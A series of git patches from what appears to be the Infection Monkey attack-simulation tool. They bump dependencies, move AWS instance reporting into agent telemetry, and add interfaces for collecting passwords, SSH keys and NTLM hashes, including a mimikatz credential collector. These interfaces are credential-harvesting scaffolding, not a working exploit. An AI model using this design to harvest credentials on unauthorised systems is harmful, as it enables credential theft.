"sha256:f00e1296abac71f3b5bb9fdc2e0d4c079201d62faeeeb894ccadd0616179fee3" + "sha256:24035eb9fffa2e3e288b4c1c9710043819efc7203cae5c8c573bec16f4a8e98f", + "sha256:59372b950d176fdc5ecea29719a8ab3f194b73a15b7f9875ac2a1de9a3daf5ed", + "sha256:62c97cbbdbee30974d607eb1de9afb081eb3adba787c203b00438e21027b829b", + "sha256:75a180a658871bc41f9cf94b6f90ffa54e98f5d6a7cdb02d7530f0360afe24f9", + "sha256:7f46ab11ec986e4c525b93251063144e12d432a132dbc0070e3030e34c76537a", + "sha256:a0b988cfc197d40e3d773b3aa1c7d3e918fc0933b4c15ec3fc5d156f222d82cb", + "sha256:b5f1a94150315ea75bf3501be6c8476d65a7209580bb662da06dbdbc4454f375", + "sha256:bec57b3b2b6178907255557ec0fc4b5ce5a0474013414cdadea853205c74ed26", + "sha256:e2f165cea4470ce8a8349112cd78f48a61413805adc17792a91997a11cfe1d80", + "sha256:ebeb87cdbadb2b4e8f991ffd9945ebd4fb3a7303180e63682c3e1ce01b3fdd22", + "sha256:ec3ca331d565ffca1b6470c5aaf798885a03708c3d0b15c1b19009126f84c1d4" ], "index": "pypi", - "version": "==4.8" + "version": "==4.9" }, "pyinstaller-hooks-contrib": { "hashes": [ - "sha256:29f0bd8fbb2ff6f2df60a0c147e5b5ad65ae5c1a982d90641a5f712de03fa161", - "sha256:61b667f51b2525377fae30793f38fd9752a08032c72b209effabf707c840cc38" + "sha256:37f0a16df336c69c8c7bf76105a6c4a53a270d648920fa21de654a6649e70404", + "sha256:f0a40fbe1842598a7066f785da5ac103ae2a86b4cebf478e530e1df57464814e" ], - "version": "==2022.0" + "markers": "python_version >= '3.7'", + "version": "==2022.1" }, "pyjwt": { "hashes": [ @@ -732,6 +755,14 @@ ], "version": "==2021.3" }, + "pywin32-ctypes": { + "hashes": [ + "sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942", + "sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98" + ], + "markers": "sys_platform == 'win32'", + "version": "==0.2.0" + }, "requests": { "hashes": [ "sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61", @@ -882,6 +913,14 @@ ], "version": "==1.4.4" }, + "atomicwrites": { + "hashes": [ + "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197", + "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a" + ], + "markers": "sys_platform == 'win32'", + "version": "==1.4.0" + }, "attrs": { "hashes": [ "sha256:2d27e3784d7a565d36ab851fe94887c5eccd6a463168875832a1be79c82828b4", @@ -920,6 +959,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.3" }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "platform_system == 'Windows'", + "version": "==0.4.4" + }, "coverage": { "hashes": [ "sha256:1245ab82e8554fa88c4b2ab1e098ae051faac5af829efdcf2ce6b34dccd5567c", @@ -1007,11 +1054,11 @@ }, "importlib-metadata": { "hashes": [ - "sha256:899e2a40a8c4a1aec681feef45733de8a6c58f3f6a0dbed2eb6574b4387a77b6", - "sha256:951f0d8a5b7260e9db5e41d429285b5f451e928479f19d80818878527d36e95e" + "sha256:6affcdb3aec542dd98df8211e730bba6c5f2bec8288d47bacacde898f548c9ad", + "sha256:9e5e553bbba1843cb4a00823014b907616be46ee503d2b9ba001d214a8da218f" ], "markers": "python_version < '3.8'", - "version": "==4.10.1" + "version": "==4.11.0" }, "iniconfig": { "hashes": [ From 414b1cb8153f50a13e07532e48d4d4635bdb59c8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sat, 12 Feb 2022 09:42:31 -0500 Subject: [PATCH 0374/1110] Agent: Add return type annotation to create_daemon_thread() --- monkey/infection_monkey/utils/threading.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/threading.py b/monkey/infection_monkey/utils/threading.py index 9ceec895f..54bc469be 100644 --- a/monkey/infection_monkey/utils/threading.py +++ b/monkey/infection_monkey/utils/threading.py @@ -16,7 +16,7 @@ def run_worker_threads(target: Callable[..., None], args: Tuple = (), num_worker t.join() -def create_daemon_thread(target: Callable[..., None], args: Tuple = ()): +def create_daemon_thread(target: Callable[..., None], args: Tuple = ()) -> Thread: return Thread(target=target, args=args, daemon=True) From c21cf681a4bea4b33a1e2907389e645c8437b9f4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Feb 2022 11:41:47 +0200 Subject: [PATCH 0375/1110] Agent: define credential collector, credentials interfaces --- .../infection_monkey/credential_collectors/__init__.py | 0 .../credential_components/__init__.py | 0 .../credential_components/i_credential_component.py | 10 ++++++++++ .../credential_components/ntlm_hash.py | 8 ++++++++ .../credential_components/password.py | 8 ++++++++ .../credential_components/ssh_keypair.py | 8 ++++++++ .../credential_components/username.py | 8 ++++++++ .../credential_collectors/credential_types.py | 8 ++++++++ .../credential_collectors/credentials.py | 10 ++++++++++ .../credential_collectors/i_credential_collector.py | 9 +++++++++ 10 files changed, 69 insertions(+) create mode 100644 monkey/infection_monkey/credential_collectors/__init__.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/__init__.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/password.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/username.py create mode 100644 monkey/infection_monkey/credential_collectors/credential_types.py create mode 100644 monkey/infection_monkey/credential_collectors/credentials.py create mode 100644 monkey/infection_monkey/credential_collectors/i_credential_collector.py diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/credential_collectors/credential_components/__init__.py b/monkey/infection_monkey/credential_collectors/credential_components/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py new file mode 100644 index 000000000..566d3ed05 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/i_credential_component.py @@ -0,0 +1,10 @@ +from abc import ABC +from dataclasses import dataclass + +from ..credential_types import CredentialTypes + + +@dataclass +class ICredentialComponent(ABC): + type: CredentialTypes + content: dict diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py new file mode 100644 index 000000000..35ddae49b --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py @@ -0,0 +1,8 @@ +from ..credential_types import CredentialTypes + +from .i_credential_component import ICredentialComponent + + +class NtlmHash(ICredentialComponent): + def __init__(self, content: dict): + super().__init__(type=CredentialTypes.NTLM_HASH, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py new file mode 100644 index 000000000..fd5b71812 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -0,0 +1,8 @@ +from ..credential_types import CredentialTypes + +from .i_credential_component import ICredentialComponent + + +class Password(ICredentialComponent): + def __init__(self, content: dict): + super().__init__(type=CredentialTypes.PASSWORD, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py new file mode 100644 index 000000000..02390f781 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -0,0 +1,8 @@ +from ..credential_types import CredentialTypes + +from .i_credential_component import ICredentialComponent + + +class SSHKeypair(ICredentialComponent): + def __init__(self, content: dict): + super().__init__(type=CredentialTypes.KEYPAIR, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py b/monkey/infection_monkey/credential_collectors/credential_components/username.py new file mode 100644 index 000000000..348a6df47 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/username.py @@ -0,0 +1,8 @@ +from ..credential_types import CredentialTypes + +from .i_credential_component import ICredentialComponent + + +class Username(ICredentialComponent): + def __init__(self, content: dict): + super().__init__(type=CredentialTypes.USERNAME, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_types.py b/monkey/infection_monkey/credential_collectors/credential_types.py new file mode 100644 index 000000000..01b83797e --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_types.py @@ -0,0 +1,8 @@ +from enum import Enum + + +class CredentialTypes(Enum): + KEYPAIR = 1 + USERNAME = 2 + PASSWORD = 3 + NTLM_HASH = 4 diff --git a/monkey/infection_monkey/credential_collectors/credentials.py b/monkey/infection_monkey/credential_collectors/credentials.py new file mode 100644 index 000000000..dc7d9a375 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credentials.py @@ -0,0 +1,10 @@ +from dataclasses import dataclass +from typing import List + +from .credential_components.i_credential_component import ICredentialComponent + + +@dataclass +class Credentials: + identities: List[ICredentialComponent] + secrets: List[ICredentialComponent] diff --git a/monkey/infection_monkey/credential_collectors/i_credential_collector.py b/monkey/infection_monkey/credential_collectors/i_credential_collector.py new file mode 100644 index 000000000..79ef9cf8a --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/i_credential_collector.py @@ -0,0 +1,9 @@ +from abc import ABC, abstractmethod + +from .credentials import Credentials + + +class ICredentialCollector(ABC): + @abstractmethod + def collect_credentials(self) -> Credentials: + pass From 1f76a422795cced6110f3f0d017855d155c6edf4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 11 Feb 2022 12:22:41 +0100 Subject: [PATCH 0376/1110] Agent: Refactor AWS collector --- .../common/common_consts/telem_categories.py | 1 + monkey/infection_monkey/monkey.py | 3 +++ .../telemetry/aws_instance_telem.py | 19 ++++++++++++++++ .../utils/aws_environment_check.py | 22 +++++++++++++++++++ 4 files changed, 45 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/aws_instance_telem.py create mode 100644 monkey/infection_monkey/utils/aws_environment_check.py diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py index dc6524c7b..c9d3f82bd 100644 --- a/monkey/common/common_consts/telem_categories.py +++ b/monkey/common/common_consts/telem_categories.py @@ -8,3 +8,4 @@ class TelemCategoryEnum: TUNNEL = "tunnel" ATTACK = "attack" FILE_ENCRYPTION = "file_encryption" + AWS_INFO = "aws_info" diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e06a39689..b4a8a8566 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -34,6 +34,7 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im ) from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem +from infection_monkey.utils.aws_environment_check import report_aws_environment from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path @@ -85,6 +86,8 @@ class InfectionMonkey: if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + report_aws_environment() + should_stop = ControlChannel(WormConfiguration.current_server, GUID).should_agent_stop() if should_stop: logger.info("The Monkey Island has instructed this agent to stop") diff --git a/monkey/infection_monkey/telemetry/aws_instance_telem.py b/monkey/infection_monkey/telemetry/aws_instance_telem.py new file mode 100644 index 000000000..d421d6d00 --- /dev/null +++ b/monkey/infection_monkey/telemetry/aws_instance_telem.py @@ -0,0 +1,19 @@ +from common.common_consts.telem_categories import TelemCategoryEnum +from infection_monkey.telemetry.base_telem import BaseTelem + + +class AwsInstanceTelemetry(BaseTelem): + def __init__(self, aws_instance_info): + """ + Default AWS instance telemetry constructor + :param aws_instance_info: Aws Instance info + """ + self.aws_instance_info = aws_instance_info + + telem_category = TelemCategoryEnum.AWS_INFO + + def get_data(self): + return self.aws_instance_info + + def send(self, log_data=False): + super(AwsInstanceTelemetry, self).send(log_data) diff --git a/monkey/infection_monkey/utils/aws_environment_check.py b/monkey/infection_monkey/utils/aws_environment_check.py new file mode 100644 index 000000000..03ee5a579 --- /dev/null +++ b/monkey/infection_monkey/utils/aws_environment_check.py @@ -0,0 +1,22 @@ +import logging + +from common.cloud.aws.aws_instance import AwsInstance +from infection_monkey.telemetry.aws_instance_telem import AwsInstanceTelemetry + +logger = logging.getLogger(__name__) + + +def _running_on_aws(aws_instance: AwsInstance) -> bool: + return aws_instance.is_instance() + + +def report_aws_environment(): + logger.info("Collecting AWS info") + + aws_instance = AwsInstance() + + if _running_on_aws(aws_instance): + logger.info("Machine is an AWS instance") + AwsInstanceTelemetry({"instance_id": aws_instance.get_instance_id()}).send() + else: + logger.info("Machine is NOT an AWS instance") From 412a06fa9beb08b6378858b0cde5dc5f015a8c09 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 11 Feb 2022 17:42:57 +0100 Subject: [PATCH 0377/1110] Island: Handle AWS info telemetry --- .../services/telemetry/processing/aws_info.py | 17 +++++++++++++++++ .../services/telemetry/processing/processing.py | 2 ++ 2 files changed, 19 insertions(+) create mode 100644 monkey/monkey_island/cc/services/telemetry/processing/aws_info.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/aws_info.py b/monkey/monkey_island/cc/services/telemetry/processing/aws_info.py new file mode 100644 index 000000000..020f236f0 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/aws_info.py @@ -0,0 +1,17 @@ +import logging + +from monkey_island.cc.models.monkey import Monkey + +logger = logging.getLogger(__name__) + + +def process_aws_telemetry(telemetry_json): + relevant_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) + + if "instance_id" in telemetry_json["data"]: + instance_id = telemetry_json["data"]["instance_id"] + relevant_monkey.aws_instance_id = instance_id + relevant_monkey.save() + logger.debug( + "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 4b38c237c..44cd5c0cc 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -1,6 +1,7 @@ import logging from common.common_consts.telem_categories import TelemCategoryEnum +from monkey_island.cc.services.telemetry.processing.aws_info import process_aws_telemetry from monkey_island.cc.services.telemetry.processing.exploit import process_exploit_telemetry from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry @@ -17,6 +18,7 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { TelemCategoryEnum.SCAN: process_scan_telemetry, TelemCategoryEnum.SYSTEM_INFO: process_system_info_telemetry, TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.AWS_INFO: process_aws_telemetry, # `lambda *args, **kwargs: None` is a no-op. TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, From 7f6496b330c8d37e13f6409ff0a65fa7034451da Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 11 Feb 2022 17:43:38 +0100 Subject: [PATCH 0378/1110] Island, UT: Remove system info AWS Collector --- .../system_info_collectors_names.py | 1 - .../system_info/collectors/aws_collector.py | 28 --------- .../system_info_collector_classes.py | 10 --- .../cc/services/config_schema/monkey.py | 2 - .../processing/system_info_collectors/aws.py | 17 ------ .../system_info_telemetry_dispatcher.py | 6 +- .../automated_master_config.json | 1 - .../monkey_configs/flat_config.json | 1 - .../monkey_config_standard.json | 1 - .../test_system_info_telemetry_dispatcher.py | 61 ------------------- vulture_allowlist.py | 1 - 11 files changed, 1 insertion(+), 128 deletions(-) delete mode 100644 monkey/infection_monkey/system_info/collectors/aws_collector.py delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py index d65c45b7b..075d6ff45 100644 --- a/monkey/common/common_consts/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -1,3 +1,2 @@ -AWS_COLLECTOR = "AwsCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" diff --git a/monkey/infection_monkey/system_info/collectors/aws_collector.py b/monkey/infection_monkey/system_info/collectors/aws_collector.py deleted file mode 100644 index 8cbf26976..000000000 --- a/monkey/infection_monkey/system_info/collectors/aws_collector.py +++ /dev/null @@ -1,28 +0,0 @@ -import logging - -from common.cloud.aws.aws_instance import AwsInstance -from common.common_consts.system_info_collectors_names import AWS_COLLECTOR -from infection_monkey.system_info.system_info_collector import SystemInfoCollector - -logger = logging.getLogger(__name__) - - -class AwsCollector(SystemInfoCollector): - """ - Extract info from AWS machines. - """ - - def __init__(self): - super().__init__(name=AWS_COLLECTOR) - - def collect(self) -> dict: - logger.info("Collecting AWS info") - aws = AwsInstance() - info = {} - if aws.is_instance(): - logger.info("Machine is an AWS instance") - info = {"instance_id": aws.get_instance_id()} - else: - logger.info("Machine is NOT an AWS instance") - - return info diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py index b77087a48..5e446513c 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py @@ -1,5 +1,4 @@ from common.common_consts.system_info_collectors_names import ( - AWS_COLLECTOR, MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, ) @@ -17,15 +16,6 @@ SYSTEM_INFO_COLLECTOR_CLASSES = { "info": "Collects credentials from Windows credential manager.", "attack_techniques": ["T1003", "T1005"], }, - { - "type": "string", - "enum": [AWS_COLLECTOR], - "title": "AWS Collector", - "safe": True, - "info": "If on AWS, collects more information about the AWS instance " - "currently running on.", - "attack_techniques": ["T1082"], - }, { "type": "string", "enum": [PROCESS_LIST_COLLECTOR], diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 480aa0852..80719d4c2 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,5 +1,4 @@ from common.common_consts.system_info_collectors_names import ( - AWS_COLLECTOR, MIMIKATZ_COLLECTOR, PROCESS_LIST_COLLECTOR, ) @@ -86,7 +85,6 @@ MONKEY = { "uniqueItems": True, "items": {"$ref": "#/definitions/system_info_collector_classes"}, "default": [ - AWS_COLLECTOR, PROCESS_LIST_COLLECTOR, MIMIKATZ_COLLECTOR, ], diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py deleted file mode 100644 index 0fae438d4..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/aws.py +++ /dev/null @@ -1,17 +0,0 @@ -import logging - -from monkey_island.cc.models.monkey import Monkey - -logger = logging.getLogger(__name__) - - -def process_aws_telemetry(collector_results, monkey_guid): - relevant_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) - - if "instance_id" in collector_results: - instance_id = collector_results["instance_id"] - relevant_monkey.aws_instance_id = instance_id - relevant_monkey.save() - logger.debug( - "Updated Monkey {} with aws instance id {}".format(str(relevant_monkey), instance_id) - ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index 702cffe2c..13e0a9298 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -1,10 +1,7 @@ import logging import typing -from common.common_consts.system_info_collectors_names import AWS_COLLECTOR, PROCESS_LIST_COLLECTOR -from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import ( - process_aws_telemetry, -) +from common.common_consts.system_info_collectors_names import PROCESS_LIST_COLLECTOR from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence import ( check_antivirus_existence, ) @@ -12,7 +9,6 @@ from monkey_island.cc.services.telemetry.zero_trust_checks.antivirus_existence i logger = logging.getLogger(__name__) SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { - AWS_COLLECTOR: [process_aws_telemetry], PROCESS_LIST_COLLECTOR: [check_antivirus_existence], } diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index 4a7816301..e7290d822 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -104,7 +104,6 @@ } }, "system_info_collector_classes": [ - "AwsCollector", "ProcessListCollector", "MimikatzCollector" ] diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 4f6704d9b..563eb21d5 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -101,7 +101,6 @@ "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ - "AwsCollector", "ProcessListCollector", "MimikatzCollector" ], diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index b810d4356..69e6f4416 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -147,7 +147,6 @@ "system_info": { "system_info_collector_classes": [ "environmentcollector", - "awscollector", "hostnamecollector", "processlistcollector", "mimikatzcollector" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py deleted file mode 100644 index 6829daf4b..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ /dev/null @@ -1,61 +0,0 @@ -import uuid - -import pytest - -from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 - SystemInfoTelemetryDispatcher, - process_aws_telemetry, -) - -TEST_SYS_INFO_TO_PROCESSING = { - "AwsCollector": [process_aws_telemetry], -} - - -class TestSystemInfoTelemetryDispatcher: - def test_dispatch_to_relevant_collector_bad_inputs(self): - dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) - - # Bad format telem JSONs - throws - bad_empty_telem_json = {} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) - - bad_no_data_telem_json = {"monkey_guid": "bla"} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) - - bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) - - # Telem JSON with no collectors - nothing gets dispatched - good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} - good_telem_empty_collectors = { - "monkey_guid": "bla", - "data": {"bla": "bla", "collectors": {}}, - } - - dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) - dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) - - def test_dispatch_to_relevant_collector(self): - a_monkey = Monkey(guid=str(uuid.uuid4())) - a_monkey.save() - - dispatcher = SystemInfoTelemetryDispatcher() - - # JSON with results - make sure functions are called - instance_id = "i-0bd2c14bd4c7d703f" - telem_json = { - "data": { - "collectors": { - "AwsCollector": {"instance_id": instance_id}, - } - }, - "monkey_guid": a_monkey.guid, - } - dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - - assert Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id == instance_id diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 1cb2e426c..2d8163f29 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -96,7 +96,6 @@ AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/di ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11) Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6) SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) -AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) From 6aa2160f315d50bcea77754f0da11854b923ae32 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Feb 2022 15:25:06 +0200 Subject: [PATCH 0379/1110] Agent: refactor mimikatz_cred_collector to credential collector --- .../credential_collectors/__init__.py | 6 +++ .../credential_components/nt_hashes.py | 9 ++++ .../credential_components/ntlm_hash.py | 8 ---- .../credential_components/password.py | 5 +-- .../credential_components/ssh_keypair.py | 3 +- .../credential_components/username.py | 5 +-- .../credential_collectors/credential_types.py | 2 +- .../mimikatz_cred_collector.py | 41 ++++++++++++------- 8 files changed, 48 insertions(+), 31 deletions(-) create mode 100644 monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py delete mode 100644 monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py diff --git a/monkey/infection_monkey/credential_collectors/__init__.py b/monkey/infection_monkey/credential_collectors/__init__.py index e69de29bb..4ec480246 100644 --- a/monkey/infection_monkey/credential_collectors/__init__.py +++ b/monkey/infection_monkey/credential_collectors/__init__.py @@ -0,0 +1,6 @@ +from .i_credential_collector import ICredentialCollector +from .credential_components.nt_hashes import NTHashes +from .credential_components.password import Password +from .credential_components.ssh_keypair import SSHKeypair +from .credential_components.username import Username +from .credentials import Credentials diff --git a/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py b/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py new file mode 100644 index 000000000..13acd83f6 --- /dev/null +++ b/monkey/infection_monkey/credential_collectors/credential_components/nt_hashes.py @@ -0,0 +1,9 @@ +from ..credential_types import CredentialTypes +from .i_credential_component import ICredentialComponent + + +class NTHashes(ICredentialComponent): + def __init__(self, ntlm_hash: str, lm_hash: str): + super().__init__( + type=CredentialTypes.NTLM_HASH, content={"ntlm_hash": ntlm_hash, "lm_hash": lm_hash} + ) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py b/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py deleted file mode 100644 index 35ddae49b..000000000 --- a/monkey/infection_monkey/credential_collectors/credential_components/ntlm_hash.py +++ /dev/null @@ -1,8 +0,0 @@ -from ..credential_types import CredentialTypes - -from .i_credential_component import ICredentialComponent - - -class NtlmHash(ICredentialComponent): - def __init__(self, content: dict): - super().__init__(type=CredentialTypes.NTLM_HASH, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/password.py b/monkey/infection_monkey/credential_collectors/credential_components/password.py index fd5b71812..3691ee69a 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/password.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/password.py @@ -1,8 +1,7 @@ from ..credential_types import CredentialTypes - from .i_credential_component import ICredentialComponent class Password(ICredentialComponent): - def __init__(self, content: dict): - super().__init__(type=CredentialTypes.PASSWORD, content=content) + def __init__(self, password: str): + super().__init__(type=CredentialTypes.PASSWORD, content={"password": password}) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py index 02390f781..09d0d2f01 100644 --- a/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py +++ b/monkey/infection_monkey/credential_collectors/credential_components/ssh_keypair.py @@ -1,8 +1,7 @@ from ..credential_types import CredentialTypes - from .i_credential_component import ICredentialComponent class SSHKeypair(ICredentialComponent): def __init__(self, content: dict): - super().__init__(type=CredentialTypes.KEYPAIR, content=content) + super().__init__(type=CredentialTypes.SSH_KEYPAIR, content=content) diff --git a/monkey/infection_monkey/credential_collectors/credential_components/username.py 